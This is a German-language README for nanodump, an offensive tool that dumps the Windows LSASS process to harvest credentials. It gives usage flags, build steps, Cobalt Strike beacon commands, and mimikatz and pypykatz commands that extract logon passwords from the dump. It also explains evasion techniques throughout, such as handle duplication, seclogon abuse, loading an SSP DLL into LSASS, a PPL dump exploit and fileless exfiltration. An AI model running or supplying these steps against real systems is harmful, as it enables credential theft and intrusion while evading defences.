
Das Schweizer Taschenmesser des LSASS-Dumpings
Ein flexibles Tool, das einen Minidump des LSASS-Prozesses erstellt.

usage: Z:\nanodump.x64.exe [--write C:\Windows\Temp\doc.docx] [--valid] [--duplicate] [--elevate-handle] [--duplicate-elevate] [--seclogon-leak-local] [--seclogon-leak-remote C:\Windows\notepad.exe] [--seclogon-duplicate] [--spoof-callstack] [--silent-process-exit C:\Windows\Temp] [--shtinkering] [--fork] [--snapshot] [--getpid] [--help]
Dumpfile options:
--write DUMP_PATH, -w DUMP_PATH
filename of the dump
--valid, -v
create a dump with a valid signature
Obtain an LSASS handle via:
--duplicate, -d
duplicate a high privileged existing LSASS handle
--duplicate-elevate, -de
duplicate a low privileged existing LSASS handle and then elevate it
--seclogon-leak-local, -sll
leak an LSASS handle into nanodump via seclogon
--seclogon-leak-remote BIN_PATH, -slt BIN_PATH
leak an LSASS handle into another process via seclogon and duplicate it
--seclogon-duplicate, -sd
make seclogon open a handle to LSASS and duplicate it
--spoof-callstack, -sc
open a handle to LSASS using a fake calling stack
Let WerFault.exe (instead of nanodump) create the dump
--silent-process-exit DUMP_FOLDER, -spe DUMP_FOLDER
force WerFault.exe to dump LSASS via SilentProcessExit
--shtinkering, -sk
force WerFault.exe to dump LSASS via Shtinkering
Avoid reading LSASS directly:
--fork, -f
fork the target process before dumping
--snapshot, -s
snapshot the target process before dumping
Avoid opening a handle with high privileges:
--elevate-handle, -eh
open a handle to LSASS with low privileges and duplicate it to gain higher privileges
Miscellaneous:
--getpid
print the PID of LSASS and leave
--chunk-size
chunk size in KiB used to exfiltrate the dump without touching disk (default 900)
Help:
--help, -h
print this help message and leave
git clone https://github.com/fortra/nanodump.git
Unter Linux mit MinGW
make -f Makefile.mingw
Unter Windows mit MSVC (keine BOF-Unterstützung)
nmake -f Makefile.msvc
Importieren Sie das Skript NanoDump.cna in Cobalt Strike.
Führen Sie den Befehl nanodump in der Beacon-Konsole oder die Binärdatei nanodump.x64.exe aus.
Wenn Sie das Flag --valid nicht angegeben haben, müssen Sie die ungültige Signatur wiederherstellen.
scripts/restore_signature <dumpfile>
mimikatz:
Um die Geheimnisse abzurufen, führen Sie einfach Folgendes aus:
mimikatz.exe "sekurlsa::minidump <dumpfile>" "sekurlsa::logonPasswords full" exit
pypykatz:
Wenn Sie lieber unter Linux bleiben möchten, können Sie den Python3-Port von mimikatz namens pypykatz verwenden:
python3 -m pypykatz lsa minidump <dumpfie>
Um zu vermeiden, einen Handle zu LSASS mit PROCESS_VM_READ zu öffnen, können Sie den Parameter --fork verwenden.
Dies veranlasst nanodump, einen Handle zu LSASS mit PROCESS_CREATE_PROCESS-Zugriff zu erstellen und dann einen 'Klon' des Prozesses zu erzeugen. Dieser neue Prozess wird dann gedumpt. Dies führt zwar zur Erstellung und Löschung eines Prozesses, vermeidet jedoch das direkte Lesen von LSASS.
Ähnlich wie die Option --fork können Sie --snapshot verwenden, um einen Snapshot des LSASS-Prozesses zu erstellen.
Dies veranlasst nanodump, einen Handle zu LSASS mit PROCESS_CREATE_PROCESS-Zugriff zu erstellen und dann einen Snapshot des Prozesses mit PssNtCaptureSnapshot zu erzeugen. Dieser neue Prozess wird dann gedumpt. Der Snapshot wird nach Abschluss automatisch freigegeben.
Da das Öffnen eines Handles zu LSASS erkannt werden kann, kann nanodump stattdessen nach vorhandenen Handles zu LSASS suchen.
Wenn einer gefunden wird, wird er kopiert und zum Erstellen des Minidumps verwendet.
Beachten Sie, dass ein solcher Handle nicht garantiert gefunden wird.
Sie können einen Handle zu LSASS mit PROCESS_QUERY_LIMITED_INFORMATION erhalten, der wahrscheinlich auf der Whitelist steht, und diesen Handle dann durch Duplizieren erhöhen.
Um das Öffnen eines Handles zu LSASS zu vermeiden, können Sie den Seclogon-Dienst missbrauchen, indem Sie CreateProcessWithLogonW aufrufen, um einen LSASS-Handle in die nanodump-Binärdatei zu leaken.
Um diese Funktion zu aktivieren, verwenden Sie den Parameter --seclogon-leak-local.
Beachten Sie, dass bei Verwendung von Cobalt Strike eine unsignierte nanodump-Binärdatei auf die Festplatte geschrieben werden muss, um diese Funktion zu nutzen.
Diese Technik ist der vorherigen sehr ähnlich, aber anstatt den Handle in nanodump zu leaken, wird er in eine andere Binärdatei geleakt und dann dupliziert, sodass nanodump ihn verwenden kann.
Verwenden Sie das Flag --seclogon-leak-remote, um auf diese Funktion zuzugreifen.
Sie können den Seclogon-Prozess dazu verleiten, einen Handle zu LSASS zu öffnen und zu duplizieren, bevor er geschlossen wird, indem Sie durch Dateisperren eine Race Condition gewinnen.
Verwenden Sie das Flag --seclogon-duplicate, um auf diese Funktion zuzugreifen.
Sie können nanodump als SSP in LSASS laden, um das Öffnen eines Handles zu vermeiden.
Wenn die DLL in LSASS geladen wurde, werden die Parameter über eine Named Pipe übergeben, und sobald der Dump abgeschlossen ist, gibt DllMain FALSE zurück, damit LSASS die nanodump-DLL entlädt.
Sie können die Parameter in die DLL hartkodieren und die Named Pipe vollständig vermeiden, indem Sie das Compiler-Flag PASS_PARAMS_VIA_NAMED_PIPES=0 verwenden.
Standardmäßig wird eine unsignierte nanodump-DLL in den Temp-Ordner hochgeladen, der automatisch gelöscht wird.
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp
Wenn Sie eine bereits vorhandene DLL laden möchten, können Sie Folgendes ausführen:
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp --load-dll C:\Windows\Temp\ssp.dll
Beachten Sie, dass diese Sicherheitslücke im Juli-2022-Update-Pack behoben wurde (Windows 10 21H2 Build 19044.1826)
Um auf diese Funktion zuzugreifen, verwenden Sie den Befehl nanodump_ppl_dump
beacon> nanodump_ppl_dump -v -w C:\Windows\Temp\lsass.dmp